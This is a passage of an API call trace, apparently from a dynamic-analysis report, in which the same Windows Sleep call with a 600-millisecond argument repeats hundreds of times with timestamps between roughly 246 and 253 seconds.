(dwMilliseconds=0x258) [0246.448] Sleep (dwMilliseconds=0x258) [0246.449] Sleep (dwMilliseconds=0x258) [0246.451] Sleep (dwMilliseconds=0x258) [0246.452] Sleep (dwMilliseconds=0x258) [0246.456] Sleep (dwMilliseconds=0x258) [0246.457] Sleep (dwMilliseconds=0x258) [0246.460] Sleep (dwMilliseconds=0x258) [0246.462] Sleep (dwMilliseconds=0x258) [0246.463] Sleep (dwMilliseconds=0x258) [0246.466] Sleep (dwMilliseconds=0x258) [0246.468] Sleep (dwMilliseconds=0x258) [0246.469] Sleep (dwMilliseconds=0x258) [0246.470] Sleep (dwMilliseconds=0x258) [0246.472] Sleep (dwMilliseconds=0x258) [0246.473] Sleep (dwMilliseconds=0x258) [0246.536] Sleep (dwMilliseconds=0x258) [0246.611] Sleep (dwMilliseconds=0x258) [0246.612] Sleep (dwMilliseconds=0x258) [0246.613] Sleep (dwMilliseconds=0x258) [0246.615] Sleep (dwMilliseconds=0x258) [0246.616] Sleep (dwMilliseconds=0x258) [0246.618] Sleep (dwMilliseconds=0x258) [0246.619] Sleep (dwMilliseconds=0x258) [0246.633] Sleep (dwMilliseconds=0x258) [0246.635] Sleep (dwMilliseconds=0x258) [0246.637] Sleep (dwMilliseconds=0x258) [0246.638] Sleep (dwMilliseconds=0x258) [0246.640] Sleep (dwMilliseconds=0x258) [0246.692] Sleep (dwMilliseconds=0x258) [0246.694] Sleep (dwMilliseconds=0x258) [0246.758] Sleep (dwMilliseconds=0x258) [0246.760] Sleep (dwMilliseconds=0x258) [0246.761] Sleep (dwMilliseconds=0x258) [0246.763] Sleep (dwMilliseconds=0x258) [0246.764] Sleep (dwMilliseconds=0x258) [0246.766] Sleep (dwMilliseconds=0x258) [0246.767] Sleep (dwMilliseconds=0x258) [0246.770] Sleep (dwMilliseconds=0x258) [0246.772] Sleep (dwMilliseconds=0x258) [0246.773] Sleep (dwMilliseconds=0x258) [0246.775] Sleep (dwMilliseconds=0x258) [0246.776] Sleep (dwMilliseconds=0x258) [0246.778] Sleep (dwMilliseconds=0x258) [0246.779] Sleep (dwMilliseconds=0x258) [0246.781] Sleep (dwMilliseconds=0x258) [0246.782] Sleep (dwMilliseconds=0x258) [0246.784] Sleep (dwMilliseconds=0x258) [0246.787] Sleep (dwMilliseconds=0x258) [0246.803] Sleep (dwMilliseconds=0x258) [0246.805] Sleep (dwMilliseconds=0x258) [0246.897] Sleep (dwMilliseconds=0x258) [0246.930] Sleep (dwMilliseconds=0x258) [0246.932] Sleep (dwMilliseconds=0x258) [0247.009] Sleep (dwMilliseconds=0x258) [0247.010] Sleep (dwMilliseconds=0x258) [0247.038] Sleep (dwMilliseconds=0x258) [0247.041] Sleep (dwMilliseconds=0x258) [0247.042] Sleep (dwMilliseconds=0x258) [0247.044] Sleep (dwMilliseconds=0x258) [0247.046] Sleep (dwMilliseconds=0x258) [0247.047] Sleep (dwMilliseconds=0x258) [0247.048] Sleep (dwMilliseconds=0x258) [0247.050] Sleep (dwMilliseconds=0x258) [0247.052] Sleep (dwMilliseconds=0x258) [0247.053] Sleep (dwMilliseconds=0x258) [0247.055] Sleep (dwMilliseconds=0x258) [0247.058] Sleep (dwMilliseconds=0x258) [0247.060] Sleep (dwMilliseconds=0x258) [0247.061] Sleep (dwMilliseconds=0x258) [0247.063] Sleep (dwMilliseconds=0x258) [0247.064] Sleep (dwMilliseconds=0x258) [0247.066] Sleep (dwMilliseconds=0x258) [0247.067] Sleep (dwMilliseconds=0x258) [0247.132] Sleep (dwMilliseconds=0x258) [0247.134] Sleep (dwMilliseconds=0x258) [0247.176] Sleep (dwMilliseconds=0x258) [0247.179] Sleep (dwMilliseconds=0x258) [0247.181] Sleep (dwMilliseconds=0x258) [0247.182] Sleep (dwMilliseconds=0x258) [0247.184] Sleep (dwMilliseconds=0x258) [0247.185] Sleep (dwMilliseconds=0x258) [0247.187] Sleep (dwMilliseconds=0x258) [0247.188] Sleep (dwMilliseconds=0x258) [0247.190] Sleep (dwMilliseconds=0x258) [0247.191] Sleep (dwMilliseconds=0x258) [0247.193] Sleep (dwMilliseconds=0x258) [0247.195] Sleep (dwMilliseconds=0x258) [0247.196] Sleep (dwMilliseconds=0x258) [0247.197] Sleep (dwMilliseconds=0x258) [0247.199] Sleep (dwMilliseconds=0x258) [0247.201] Sleep (dwMilliseconds=0x258) [0247.202] Sleep (dwMilliseconds=0x258) [0247.203] Sleep (dwMilliseconds=0x258) [0247.205] Sleep (dwMilliseconds=0x258) [0247.265] Sleep (dwMilliseconds=0x258) [0247.315] Sleep (dwMilliseconds=0x258) [0247.318] Sleep (dwMilliseconds=0x258) [0247.319] Sleep (dwMilliseconds=0x258) [0247.323] Sleep (dwMilliseconds=0x258) [0247.324] Sleep (dwMilliseconds=0x258) [0247.325] Sleep (dwMilliseconds=0x258) [0247.327] Sleep (dwMilliseconds=0x258) [0247.328] Sleep (dwMilliseconds=0x258) [0247.330] Sleep (dwMilliseconds=0x258) [0247.331] Sleep (dwMilliseconds=0x258) [0247.333] Sleep (dwMilliseconds=0x258) [0247.335] Sleep (dwMilliseconds=0x258) [0247.336] Sleep (dwMilliseconds=0x258) [0247.337] Sleep (dwMilliseconds=0x258) [0247.339] Sleep (dwMilliseconds=0x258) [0247.341] Sleep (dwMilliseconds=0x258) [0247.342] Sleep (dwMilliseconds=0x258) [0247.343] Sleep (dwMilliseconds=0x258) [0247.401] Sleep (dwMilliseconds=0x258) [0247.462] Sleep (dwMilliseconds=0x258) [0247.464] Sleep (dwMilliseconds=0x258) [0247.465] Sleep (dwMilliseconds=0x258) [0247.467] Sleep (dwMilliseconds=0x258) [0247.468] Sleep (dwMilliseconds=0x258) [0247.470] Sleep (dwMilliseconds=0x258) [0247.471] Sleep (dwMilliseconds=0x258) [0247.473] Sleep (dwMilliseconds=0x258) [0247.476] Sleep (dwMilliseconds=0x258) [0247.477] Sleep (dwMilliseconds=0x258) [0247.484] Sleep (dwMilliseconds=0x258) [0247.485] Sleep (dwMilliseconds=0x258) [0247.487] Sleep (dwMilliseconds=0x258) [0247.488] Sleep (dwMilliseconds=0x258) [0247.490] Sleep (dwMilliseconds=0x258) [0247.491] Sleep (dwMilliseconds=0x258) [0247.541] Sleep (dwMilliseconds=0x258) [0247.543] Sleep (dwMilliseconds=0x258) [0247.612] Sleep (dwMilliseconds=0x258) [0247.613] Sleep (dwMilliseconds=0x258) [0247.615] Sleep (dwMilliseconds=0x258) [0247.620] Sleep (dwMilliseconds=0x258) [0247.621] Sleep (dwMilliseconds=0x258) [0247.623] Sleep (dwMilliseconds=0x258) [0247.625] Sleep (dwMilliseconds=0x258) [0247.626] Sleep (dwMilliseconds=0x258) [0247.631] Sleep (dwMilliseconds=0x258) [0247.633] Sleep (dwMilliseconds=0x258) [0247.635] Sleep (dwMilliseconds=0x258) [0247.637] Sleep (dwMilliseconds=0x258) [0247.638] Sleep (dwMilliseconds=0x258) [0247.639] Sleep (dwMilliseconds=0x258) [0247.674] Sleep (dwMilliseconds=0x258) [0247.677] Sleep (dwMilliseconds=0x258) [0247.795] Sleep (dwMilliseconds=0x258) [0247.797] Sleep (dwMilliseconds=0x258) [0247.798] Sleep (dwMilliseconds=0x258) [0247.805] Sleep (dwMilliseconds=0x258) [0247.807] Sleep (dwMilliseconds=0x258) [0247.808] Sleep (dwMilliseconds=0x258) [0247.812] Sleep (dwMilliseconds=0x258) [0247.813] Sleep (dwMilliseconds=0x258) [0247.815] Sleep (dwMilliseconds=0x258) [0247.817] Sleep (dwMilliseconds=0x258) [0247.819] Sleep (dwMilliseconds=0x258) [0247.821] Sleep (dwMilliseconds=0x258) [0247.823] Sleep (dwMilliseconds=0x258) [0247.826] Sleep (dwMilliseconds=0x258) [0247.828] Sleep (dwMilliseconds=0x258) [0247.829] Sleep (dwMilliseconds=0x258) [0247.831] Sleep (dwMilliseconds=0x258) [0247.832] Sleep (dwMilliseconds=0x258) [0247.834] Sleep (dwMilliseconds=0x258) [0247.835] Sleep (dwMilliseconds=0x258) [0247.837] Sleep (dwMilliseconds=0x258) [0247.838] Sleep (dwMilliseconds=0x258) [0247.840] Sleep (dwMilliseconds=0x258) [0247.847] Sleep (dwMilliseconds=0x258) [0247.849] Sleep (dwMilliseconds=0x258) [0247.955] Sleep (dwMilliseconds=0x258) [0247.956] Sleep (dwMilliseconds=0x258) [0247.976] Sleep (dwMilliseconds=0x258) [0247.978] Sleep (dwMilliseconds=0x258) [0247.979] Sleep (dwMilliseconds=0x258) [0247.981] Sleep (dwMilliseconds=0x258) [0247.983] Sleep (dwMilliseconds=0x258) [0247.984] Sleep (dwMilliseconds=0x258) [0247.985] Sleep (dwMilliseconds=0x258) [0247.987] Sleep (dwMilliseconds=0x258) [0247.988] Sleep (dwMilliseconds=0x258) [0247.990] Sleep (dwMilliseconds=0x258) [0247.992] Sleep (dwMilliseconds=0x258) [0247.994] Sleep (dwMilliseconds=0x258) [0247.995] Sleep (dwMilliseconds=0x258) [0247.998] Sleep (dwMilliseconds=0x258) [0247.999] Sleep (dwMilliseconds=0x258) [0248.001] Sleep (dwMilliseconds=0x258) [0248.002] Sleep (dwMilliseconds=0x258) [0248.004] Sleep (dwMilliseconds=0x258) [0248.064] Sleep (dwMilliseconds=0x258) [0248.111] Sleep (dwMilliseconds=0x258) [0248.113] Sleep (dwMilliseconds=0x258) [0248.114] Sleep (dwMilliseconds=0x258) [0248.116] Sleep (dwMilliseconds=0x258) [0248.119] Sleep (dwMilliseconds=0x258) [0248.121] Sleep (dwMilliseconds=0x258) [0248.124] Sleep (dwMilliseconds=0x258) [0248.126] Sleep (dwMilliseconds=0x258) [0248.127] Sleep (dwMilliseconds=0x258) [0248.129] Sleep (dwMilliseconds=0x258) [0248.130] Sleep (dwMilliseconds=0x258) [0248.132] Sleep (dwMilliseconds=0x258) [0248.133] Sleep (dwMilliseconds=0x258) [0248.135] Sleep (dwMilliseconds=0x258) [0248.138] Sleep (dwMilliseconds=0x258) [0248.139] Sleep (dwMilliseconds=0x258) [0248.142] Sleep (dwMilliseconds=0x258) [0248.182] Sleep (dwMilliseconds=0x258) [0248.250] Sleep (dwMilliseconds=0x258) [0248.252] Sleep (dwMilliseconds=0x258) [0248.254] Sleep (dwMilliseconds=0x258) [0248.255] Sleep (dwMilliseconds=0x258) [0248.256] Sleep (dwMilliseconds=0x258) [0248.258] Sleep (dwMilliseconds=0x258) [0248.259] Sleep (dwMilliseconds=0x258) [0248.260] Sleep (dwMilliseconds=0x258) [0248.262] Sleep (dwMilliseconds=0x258) [0248.264] Sleep (dwMilliseconds=0x258) [0248.265] Sleep (dwMilliseconds=0x258) [0248.266] Sleep (dwMilliseconds=0x258) [0248.268] Sleep (dwMilliseconds=0x258) [0248.269] Sleep (dwMilliseconds=0x258) [0248.272] Sleep (dwMilliseconds=0x258) [0248.274] Sleep (dwMilliseconds=0x258) [0248.275] Sleep (dwMilliseconds=0x258) [0248.277] Sleep (dwMilliseconds=0x258) [0248.279] Sleep (dwMilliseconds=0x258) [0248.293] Sleep (dwMilliseconds=0x258) [0248.294] Sleep (dwMilliseconds=0x258) [0248.376] Sleep (dwMilliseconds=0x258) [0248.395] Sleep (dwMilliseconds=0x258) [0248.396] Sleep (dwMilliseconds=0x258) [0248.397] Sleep (dwMilliseconds=0x258) [0248.399] Sleep (dwMilliseconds=0x258) [0248.400] Sleep (dwMilliseconds=0x258) [0248.401] Sleep (dwMilliseconds=0x258) [0248.404] Sleep (dwMilliseconds=0x258) [0248.405] Sleep (dwMilliseconds=0x258) [0248.407] Sleep (dwMilliseconds=0x258) [0248.408] Sleep (dwMilliseconds=0x258) [0248.409] Sleep (dwMilliseconds=0x258) [0248.411] Sleep (dwMilliseconds=0x258) [0248.412] Sleep (dwMilliseconds=0x258) [0248.414] Sleep (dwMilliseconds=0x258) [0248.415] Sleep (dwMilliseconds=0x258) [0248.417] Sleep (dwMilliseconds=0x258) [0248.419] Sleep (dwMilliseconds=0x258) [0248.423] Sleep (dwMilliseconds=0x258) [0248.425] Sleep (dwMilliseconds=0x258) [0248.497] Sleep (dwMilliseconds=0x258) [0248.499] Sleep (dwMilliseconds=0x258) [0248.533] Sleep (dwMilliseconds=0x258) [0248.535] Sleep (dwMilliseconds=0x258) [0248.537] Sleep (dwMilliseconds=0x258) [0248.538] Sleep (dwMilliseconds=0x258) [0248.540] Sleep (dwMilliseconds=0x258) [0248.541] Sleep (dwMilliseconds=0x258) [0248.543] Sleep (dwMilliseconds=0x258) [0248.546] Sleep (dwMilliseconds=0x258) [0248.548] Sleep (dwMilliseconds=0x258) [0248.549] Sleep (dwMilliseconds=0x258) [0248.551] Sleep (dwMilliseconds=0x258) [0248.552] Sleep (dwMilliseconds=0x258) [0248.554] Sleep (dwMilliseconds=0x258) [0248.555] Sleep (dwMilliseconds=0x258) [0248.557] Sleep (dwMilliseconds=0x258) [0248.558] Sleep (dwMilliseconds=0x258) [0248.560] Sleep (dwMilliseconds=0x258) [0248.561] Sleep (dwMilliseconds=0x258) [0248.570] Sleep (dwMilliseconds=0x258) [0248.620] Sleep (dwMilliseconds=0x258) [0248.682] Sleep (dwMilliseconds=0x258) [0248.738] Sleep (dwMilliseconds=0x258) [0248.843] Sleep (dwMilliseconds=0x258) [0248.868] Sleep (dwMilliseconds=0x258) [0248.876] Sleep (dwMilliseconds=0x258) [0249.127] Sleep (dwMilliseconds=0x258) [0249.132] Sleep (dwMilliseconds=0x258) [0249.255] Sleep (dwMilliseconds=0x258) [0249.287] Sleep (dwMilliseconds=0x258) [0249.299] Sleep (dwMilliseconds=0x258) [0249.312] Sleep (dwMilliseconds=0x258) [0249.421] Sleep (dwMilliseconds=0x258) [0249.422] Sleep (dwMilliseconds=0x258) [0249.450] Sleep (dwMilliseconds=0x258) [0249.457] Sleep (dwMilliseconds=0x258) [0249.459] Sleep (dwMilliseconds=0x258) [0249.460] Sleep (dwMilliseconds=0x258) [0249.468] Sleep (dwMilliseconds=0x258) [0249.470] Sleep (dwMilliseconds=0x258) [0249.476] Sleep (dwMilliseconds=0x258) [0249.478] Sleep (dwMilliseconds=0x258) [0249.480] Sleep (dwMilliseconds=0x258) [0249.544] Sleep (dwMilliseconds=0x258) [0249.545] Sleep (dwMilliseconds=0x258) [0249.600] Sleep (dwMilliseconds=0x258) [0249.613] Sleep (dwMilliseconds=0x258) [0249.615] Sleep (dwMilliseconds=0x258) [0249.616] Sleep (dwMilliseconds=0x258) [0249.618] Sleep (dwMilliseconds=0x258) [0249.620] Sleep (dwMilliseconds=0x258) [0249.625] Sleep (dwMilliseconds=0x258) [0249.652] Sleep (dwMilliseconds=0x258) [0249.689] Sleep (dwMilliseconds=0x258) [0249.697] Sleep (dwMilliseconds=0x258) [0249.810] Sleep (dwMilliseconds=0x258) [0249.819] Sleep (dwMilliseconds=0x258) [0249.821] Sleep (dwMilliseconds=0x258) [0249.828] Sleep (dwMilliseconds=0x258) [0249.830] Sleep (dwMilliseconds=0x258) [0249.832] Sleep (dwMilliseconds=0x258) [0249.834] Sleep (dwMilliseconds=0x258) [0249.836] Sleep (dwMilliseconds=0x258) [0249.838] Sleep (dwMilliseconds=0x258) [0249.839] Sleep (dwMilliseconds=0x258) [0249.842] Sleep (dwMilliseconds=0x258) [0249.845] Sleep (dwMilliseconds=0x258) [0249.847] Sleep (dwMilliseconds=0x258) [0249.849] Sleep (dwMilliseconds=0x258) [0249.991] Sleep (dwMilliseconds=0x258) [0249.993] Sleep (dwMilliseconds=0x258) [0250.013] Sleep (dwMilliseconds=0x258) [0250.015] Sleep (dwMilliseconds=0x258) [0250.016] Sleep (dwMilliseconds=0x258) [0250.018] Sleep (dwMilliseconds=0x258) [0250.019] Sleep (dwMilliseconds=0x258) [0250.021] Sleep (dwMilliseconds=0x258) [0250.022] Sleep (dwMilliseconds=0x258) [0250.024] Sleep (dwMilliseconds=0x258) [0250.026] Sleep (dwMilliseconds=0x258) [0250.028] Sleep (dwMilliseconds=0x258) [0250.035] Sleep (dwMilliseconds=0x258) [0250.043] Sleep (dwMilliseconds=0x258) [0250.053] Sleep (dwMilliseconds=0x258) [0250.157] Sleep (dwMilliseconds=0x258) [0250.165] Sleep (dwMilliseconds=0x258) [0250.204] Sleep (dwMilliseconds=0x258) [0250.211] Sleep (dwMilliseconds=0x258) [0250.213] Sleep (dwMilliseconds=0x258) [0250.214] Sleep (dwMilliseconds=0x258) [0250.216] Sleep (dwMilliseconds=0x258) [0250.217] Sleep (dwMilliseconds=0x258) [0250.219] Sleep (dwMilliseconds=0x258) [0250.221] Sleep (dwMilliseconds=0x258) [0250.222] Sleep (dwMilliseconds=0x258) [0250.224] Sleep (dwMilliseconds=0x258) [0250.225] Sleep (dwMilliseconds=0x258) [0250.227] Sleep (dwMilliseconds=0x258) [0250.228] Sleep (dwMilliseconds=0x258) [0250.230] Sleep (dwMilliseconds=0x258) [0250.231] Sleep (dwMilliseconds=0x258) [0250.233] Sleep (dwMilliseconds=0x258) [0250.283] Sleep (dwMilliseconds=0x258) [0250.292] Sleep (dwMilliseconds=0x258) [0250.351] Sleep (dwMilliseconds=0x258) [0250.358] Sleep (dwMilliseconds=0x258) [0250.367] Sleep (dwMilliseconds=0x258) [0250.374] Sleep (dwMilliseconds=0x258) [0250.390] Sleep (dwMilliseconds=0x258) [0250.412] Sleep (dwMilliseconds=0x258) [0250.413] Sleep (dwMilliseconds=0x258) [0250.500] Sleep (dwMilliseconds=0x258) [0250.501] Sleep (dwMilliseconds=0x258) [0250.506] Sleep (dwMilliseconds=0x258) [0250.507] Sleep (dwMilliseconds=0x258) [0250.509] Sleep (dwMilliseconds=0x258) [0250.510] Sleep (dwMilliseconds=0x258) [0250.512] Sleep (dwMilliseconds=0x258) [0250.513] Sleep (dwMilliseconds=0x258) [0250.515] Sleep (dwMilliseconds=0x258) [0250.523] Sleep (dwMilliseconds=0x258) [0250.524] Sleep (dwMilliseconds=0x258) [0250.526] Sleep (dwMilliseconds=0x258) [0250.527] Sleep (dwMilliseconds=0x258) [0250.530] Sleep (dwMilliseconds=0x258) [0250.532] Sleep (dwMilliseconds=0x258) [0250.617] Sleep (dwMilliseconds=0x258) [0250.618] Sleep (dwMilliseconds=0x258) [0250.639] Sleep (dwMilliseconds=0x258) [0250.640] Sleep (dwMilliseconds=0x258) [0250.642] Sleep (dwMilliseconds=0x258) [0250.643] Sleep (dwMilliseconds=0x258) [0250.645] Sleep (dwMilliseconds=0x258) [0250.646] Sleep (dwMilliseconds=0x258) [0250.681] Sleep (dwMilliseconds=0x258) [0250.682] Sleep (dwMilliseconds=0x258) [0250.749] Sleep (dwMilliseconds=0x258) [0250.751] Sleep (dwMilliseconds=0x258) [0250.797] Sleep (dwMilliseconds=0x258) [0250.798] Sleep (dwMilliseconds=0x258) [0250.800] Sleep (dwMilliseconds=0x258) [0250.802] Sleep (dwMilliseconds=0x258) [0250.804] Sleep (dwMilliseconds=0x258) [0250.805] Sleep (dwMilliseconds=0x258) [0250.807] Sleep (dwMilliseconds=0x258) [0250.808] Sleep (dwMilliseconds=0x258) [0250.809] Sleep (dwMilliseconds=0x258) [0250.811] Sleep (dwMilliseconds=0x258) [0250.814] Sleep (dwMilliseconds=0x258) [0250.818] Sleep (dwMilliseconds=0x258) [0250.822] Sleep (dwMilliseconds=0x258) [0250.823] Sleep (dwMilliseconds=0x258) [0250.825] Sleep (dwMilliseconds=0x258) [0250.860] Sleep (dwMilliseconds=0x258) [0250.861] Sleep (dwMilliseconds=0x258) [0250.955] Sleep (dwMilliseconds=0x258) [0250.956] Sleep (dwMilliseconds=0x258) [0250.960] Sleep (dwMilliseconds=0x258) [0250.961] Sleep (dwMilliseconds=0x258) [0250.969] Sleep (dwMilliseconds=0x258) [0250.970] Sleep (dwMilliseconds=0x258) [0250.977] Sleep (dwMilliseconds=0x258) [0250.987] Sleep (dwMilliseconds=0x258) [0250.995] Sleep (dwMilliseconds=0x258) [0250.997] Sleep (dwMilliseconds=0x258) [0251.096] Sleep (dwMilliseconds=0x258) [0251.097] Sleep (dwMilliseconds=0x258) [0251.100] Sleep (dwMilliseconds=0x258) [0251.101] Sleep (dwMilliseconds=0x258) [0251.105] Sleep (dwMilliseconds=0x258) [0251.107] Sleep (dwMilliseconds=0x258) [0251.108] Sleep (dwMilliseconds=0x258) [0251.110] Sleep (dwMilliseconds=0x258) [0251.113] Sleep (dwMilliseconds=0x258) [0251.117] Sleep (dwMilliseconds=0x258) [0251.118] Sleep (dwMilliseconds=0x258) [0251.120] Sleep (dwMilliseconds=0x258) [0251.121] Sleep (dwMilliseconds=0x258) [0251.123] Sleep (dwMilliseconds=0x258) [0251.124] Sleep (dwMilliseconds=0x258) [0251.128] Sleep (dwMilliseconds=0x258) [0251.129] Sleep (dwMilliseconds=0x258) [0251.209] Sleep (dwMilliseconds=0x258) [0251.233] Sleep (dwMilliseconds=0x258) [0251.235] Sleep (dwMilliseconds=0x258) [0251.236] Sleep (dwMilliseconds=0x258) [0251.238] Sleep (dwMilliseconds=0x258) [0251.240] Sleep (dwMilliseconds=0x258) [0251.241] Sleep (dwMilliseconds=0x258) [0251.243] Sleep (dwMilliseconds=0x258) [0251.244] Sleep (dwMilliseconds=0x258) [0251.246] Sleep (dwMilliseconds=0x258) [0251.247] Sleep (dwMilliseconds=0x258) [0251.249] Sleep (dwMilliseconds=0x258) [0251.250] Sleep (dwMilliseconds=0x258) [0251.252] Sleep (dwMilliseconds=0x258) [0251.254] Sleep (dwMilliseconds=0x258) [0251.255] Sleep (dwMilliseconds=0x258) [0251.257] Sleep (dwMilliseconds=0x258) [0251.259] Sleep (dwMilliseconds=0x258) [0251.261] Sleep (dwMilliseconds=0x258) [0251.263] Sleep (dwMilliseconds=0x258) [0251.428] Sleep (dwMilliseconds=0x258) [0251.478] Sleep (dwMilliseconds=0x258) [0251.480] Sleep (dwMilliseconds=0x258) [0251.482] Sleep (dwMilliseconds=0x258) [0251.484] Sleep (dwMilliseconds=0x258) [0251.487] Sleep (dwMilliseconds=0x258) [0251.488] Sleep (dwMilliseconds=0x258) [0251.490] Sleep (dwMilliseconds=0x258) [0251.498] Sleep (dwMilliseconds=0x258) [0251.506] Sleep (dwMilliseconds=0x258) [0251.514] Sleep (dwMilliseconds=0x258) [0251.587] Sleep (dwMilliseconds=0x258) [0251.595] Sleep (dwMilliseconds=0x258) [0251.643] Sleep (dwMilliseconds=0x258) [0251.644] Sleep (dwMilliseconds=0x258) [0251.718] Sleep (dwMilliseconds=0x258) [0251.756] Sleep (dwMilliseconds=0x258) [0251.757] Sleep (dwMilliseconds=0x258) [0251.845] Sleep (dwMilliseconds=0x258) [0251.849] Sleep (dwMilliseconds=0x258) [0251.856] Sleep (dwMilliseconds=0x258) [0251.991] Sleep (dwMilliseconds=0x258) [0252.002] Sleep (dwMilliseconds=0x258) [0252.004] Sleep (dwMilliseconds=0x258) [0252.005] Sleep (dwMilliseconds=0x258) [0252.007] Sleep (dwMilliseconds=0x258) [0252.008] Sleep (dwMilliseconds=0x258) [0252.010] Sleep (dwMilliseconds=0x258) [0252.011] Sleep (dwMilliseconds=0x258) [0252.016] Sleep (dwMilliseconds=0x258) [0252.017] Sleep (dwMilliseconds=0x258) [0252.019] Sleep (dwMilliseconds=0x258) [0252.020] Sleep (dwMilliseconds=0x258) [0252.022] Sleep (dwMilliseconds=0x258) [0252.023] Sleep (dwMilliseconds=0x258) [0252.025] Sleep (dwMilliseconds=0x258) [0252.026] Sleep (dwMilliseconds=0x258) [0252.028] Sleep (dwMilliseconds=0x258) [0252.039] Sleep (dwMilliseconds=0x258) [0252.117] Sleep (dwMilliseconds=0x258) [0252.126] Sleep (dwMilliseconds=0x258) [0252.156] Sleep (dwMilliseconds=0x258) [0252.165] Sleep (dwMilliseconds=0x258) [0252.173] Sleep (dwMilliseconds=0x258) [0252.181] Sleep (dwMilliseconds=0x258) [0252.183] Sleep (dwMilliseconds=0x258) [0252.186] Sleep (dwMilliseconds=0x258) [0252.249] Sleep (dwMilliseconds=0x258) [0252.301] Sleep (dwMilliseconds=0x258) [0252.302] Sleep (dwMilliseconds=0x258) [0252.304] Sleep (dwMilliseconds=0x258) [0252.315] Sleep (dwMilliseconds=0x258) [0252.325] Sleep (dwMilliseconds=0x258) [0252.327] Sleep (dwMilliseconds=0x258) [0252.328] Sleep (dwMilliseconds=0x258) [0252.330] Sleep (dwMilliseconds=0x258) [0252.331] Sleep (dwMilliseconds=0x258) [0252.398] Sleep (dwMilliseconds=0x258) [0252.453] Sleep (dwMilliseconds=0x258) [0252.454] Sleep (dwMilliseconds=0x258) [0252.456] Sleep (dwMilliseconds=0x258) [0252.458] Sleep (dwMilliseconds=0x258) [0252.459] Sleep (dwMilliseconds=0x258) [0252.460] Sleep (dwMilliseconds=0x258) [0252.462] Sleep (dwMilliseconds=0x258) [0252.464] Sleep (dwMilliseconds=0x258) [0252.465] Sleep (dwMilliseconds=0x258) [0252.468] Sleep (dwMilliseconds=0x258) [0252.471] Sleep (dwMilliseconds=0x258) [0252.473] Sleep (dwMilliseconds=0x258) [0252.474] Sleep (dwMilliseconds=0x258) [0252.476] Sleep (dwMilliseconds=0x258) [0252.479] Sleep (dwMilliseconds=0x258) [0252.481] Sleep (dwMilliseconds=0x258) [0252.517] Sleep (dwMilliseconds=0x258) [0252.554] Sleep (dwMilliseconds=0x258) [0252.555] Sleep (dwMilliseconds=0x258) [0252.622] Sleep (dwMilliseconds=0x258) [0252.623] Sleep (dwMilliseconds=0x258) [0252.631] Sleep (dwMilliseconds=0x258) [0252.640] Sleep (dwMilliseconds=0x258) [0252.642] Sleep (dwMilliseconds=0x258) [0252.644] Sleep (dwMilliseconds=0x258) [0252.645] Sleep (dwMilliseconds=0x258) [0252.647] Sleep (dwMilliseconds=0x258) [0252.648] Sleep (dwMilliseconds=0x258) [0252.677] Sleep (dwMilliseconds=0x258) [0252.679] Sleep (dwMilliseconds=0x258) [0252.805] Sleep (dwMilliseconds=0x258) [0252.828] Sleep (dwMilliseconds=0x258) [0252.829] Sleep (dwMilliseconds=0x258) [0252.831] Sleep (dwMilliseconds=0x258) [0252.834] Sleep (dwMilliseconds=0x258) [0252.837] Sleep (dwMilliseconds=0x258) [0252.855] Sleep (dwMilliseconds=0x258) [0252.995] Sleep (dwMilliseconds=0x258) [0253.000] Sleep (dwMilliseconds=0x258) [0253.005] Sleep (dwMilliseconds=0x258) [0253.007] Sleep (dwMilliseconds=0x258) [0253.008] Sleep (dwMilliseconds=0x258) [0253.010] Sleep (dwMilliseconds=0x258) [0253.018] Sleep (dwMilliseconds=0x258) [0253.026] Sleep (dwMilliseconds=0x258) [0253.035] Sleep (dwMilliseconds=0x258) [0253.117] Sleep (dwMilliseconds=0x258) [0253.143] Sleep (dwMilliseconds=0x258) [0253.144] Sleep (dwMilliseconds=0x258) [0253.152] Sleep (dwMilliseconds=0x258) [0253.153] Sleep (dwMilliseconds=0x258) [0253.160] Sleep (dwMilliseconds=0x258) [0253.169] Sleep (dwMilliseconds=0x258) [0253.173] Sleep (dwMilliseconds=0x258) [0253.228] Sleep (dwMilliseconds=0x258) [0253.230] Sleep (dwMilliseconds=0x258) [0253.281] Sleep (dwMilliseconds=0x258) [0253.282] Sleep (dwMilliseconds=0x258) [0253.284] Sleep (dwMilliseconds=0x258) [0253.285] Sleep (dwMilliseconds=0x258) [0253.287] Sleep (dwMilliseconds=0x258) [0253.288] Sleep (dwMilliseconds=0x258) [0253.290] Sleep (dwMilliseconds=0x258) [0253.291] Sleep (dwMilliseconds=0x258) [0253.296] Sleep (dwMilliseconds=0x258) [0253.298] Sleep (dwMilliseconds=0x258) [0253.301] Sleep (dwMilliseconds=0x258) [0253.303] Sleep (dwMilliseconds=0x258) [0253.304] Sleep (dwMilliseconds=0x258) [0253.306] Sleep (dwMilliseconds=0x258) [0253.307] Sleep (dwMilliseconds=0x258) [0253.309] Sleep (dwMilliseconds=0x258) [0253.335] Sleep (dwMilliseconds=0x258) [0253.336] Sleep (dwMilliseconds=0x258) [0253.428] Sleep (dwMilliseconds=0x258) [0253.430] Sleep (dwMilliseconds=0x258) [0253.433] Sleep (dwMilliseconds=0x258) [0253.447] Sleep (dwMilliseconds=0x258) [0253.459] Sleep (dwMilliseconds=0x258) [0253.479] Sleep (dwMilliseconds=0x258) [0253.487] Sleep (dwMilliseconds=0x258) [0253.563] Sleep (dwMilliseconds=0x258) [0253.572] Sleep (dwMilliseconds=0x258) [0253.582] Sleep (dwMilliseconds=0x258) [0253.584] Sleep (dwMilliseconds=0x258) [0253.585] Sleep (dwMilliseconds=0x258) [0253.587] Sleep (dwMilliseconds=0x258) [0253.588] Sleep (dwMilliseconds=0x258) [0253.590] Sleep (dwMilliseconds=0x258) [0253.592] Sleep (dwMilliseconds=0x258) [0253.593] Sleep (dwMilliseconds=0x258) [0253.596] Sleep (dwMilliseconds=0x258) [0253.599] Sleep (dwMilliseconds=0x258) [0253.600] Sleep (dwMilliseconds=0x258) [0253.602] Sleep (dwMilliseconds=0x258) [0253.603] Sleep (dwMilliseconds=0x258) [0253.605] Sleep (dwMilliseconds=0x258) [0253.606] Sleep (dwMilliseconds=0x258) [0253.608] Sleep (dwMilliseconds=0x258) [0253.609] Sleep (dwMilliseconds=0x258) [0253.612] Sleep (dwMilliseconds=0x258) [0253.717] Sleep (dwMilliseconds=0x258) [0253.760] Sleep (dwMilliseconds=0x258) [0253.762] Sleep (dwMilliseconds=0x258) [0253.763] Sleep (dwMilliseconds=0x258) [0253.765] Sleep (dwMilliseconds=0x258) [0253.766] Sleep (dwMilliseconds=0x258) [0253.768] Sleep (dwMilliseconds=0x258) [0253.769] Sleep (dwMilliseconds=0x258) [0253.771] Sleep (dwMilliseconds=0x258) [0253.772] 